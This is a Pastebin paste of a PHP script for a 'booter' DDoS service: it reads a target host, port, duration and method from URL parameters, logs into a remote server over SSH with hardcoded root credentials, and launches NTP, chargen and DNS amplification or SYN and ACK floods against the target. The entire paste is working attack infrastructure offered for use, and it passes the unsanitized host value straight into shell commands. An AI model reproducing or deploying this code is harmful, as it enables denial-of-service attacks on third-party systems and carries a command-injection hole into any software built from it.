Advertisement
wtfbbq

Booter DDoS API

Dec 26th, 2015
17,096
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 2.49 KB | None | 0 0
  1. // http://IP/api.php?key=key&host=host&port=port&time=time&method=method
  2.  
  3. <?php
  4. ignore_user_abort(true);
  5. set_time_limit(1000);
  6. $server_ip = "1.3.3.7";  
  7. $server_pass = "pass";  
  8. $server_user = "root";  
  9. $key = $_GET['key'];
  10. $host = $_GET['host'];
  11. $port = intval($_GET['port']);
  12. $time = intval($_GET['time']);
  13. $method = $_GET['method'];
  14. $action = $_GET['action'];
  15. $array = array("ntp","chargen","dns","syn","ack");
  16. $ray = array("password"); //This is your API password.
  17. if (!empty($key)){
  18. }else{
  19. die('Error: API key is empty!');}
  20. if (in_array($key, $ray)){
  21. }else{
  22. die('Error: Incorrect API key!');}
  23. if (!empty($time)){
  24. }else{
  25. die('Error: time is empty!');}
  26. if (!empty($host)){
  27. }else{
  28. die('Error: Host is empty!');}
  29. if (!empty($method)){
  30. }else{
  31. die('Error: Method is empty!');}
  32. if (in_array($method, $array)){
  33. }else{
  34. die('Error: The method you requested does not exist!');}
  35. if ($port > 44405){
  36. die('Error: Ports over 44405 do not exist');}  
  37. if ($time > 1000){
  38. die('Error: Cannot exceed 1000 seconds!');}  
  39. if(ctype_digit($Time)){
  40. die('Error: Time is not in numeric form!');}
  41. if(ctype_digit($Port)){
  42. die('Error: Port is not in numeric form!');}
  43. if ($method == "dns") { $command = "/path/to/dns $host $port /path/to/d.txt 2 -1 $time"; }
  44. if ($method == "chargen") { $command = "/path/to/chargen $host $port /path/to/c.txt 2 -1 $time"; }
  45. if ($method == "ntp") { $command = "/path/to/ntp $host $port /path/to/n.txt 2 -1 $time"; }
  46. if ($method == "ack") { $command = "/path/to/gem -T0 -h $host -t $time"; }
  47. if ($method == "syn") { $command = "/path/to/gem -T3 -h $host -t $time"; }
  48. if ($action == "stop") { $command = "pkill $host -f"; }
  49. if (!function_exists("ssh2_connect")) die("Error: SSH2 does not exist on you're server");
  50. if(!($con = ssh2_connect($server_ip, 22))){
  51.   echo "Error: Connection Issue";
  52. } else {
  53.     if(!ssh2_auth_password($con, $server_user, $server_pass)) {
  54.     echo "Error: Login failed, one or more of you're server credentials are incorrect.";
  55.     } else {
  56.    
  57.         if (!($stream = ssh2_exec($con, $command ))) {
  58.             echo "Error: You're server was not able to execute you're methods file and or its dependencies";
  59.         } else {    
  60.             stream_set_blocking($stream, false);
  61.             $data = "";
  62.             while ($buf = fread($stream,4096)) {
  63.                 $data .= $buf;
  64.             }
  65.             echo "Attack started!!</br>Hitting: $host</br>On Port: $port </br>Attack Length: $time</br>With: $method";
  66.             fclose($stream);
  67.         }
  68.     }
  69. }
  70. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement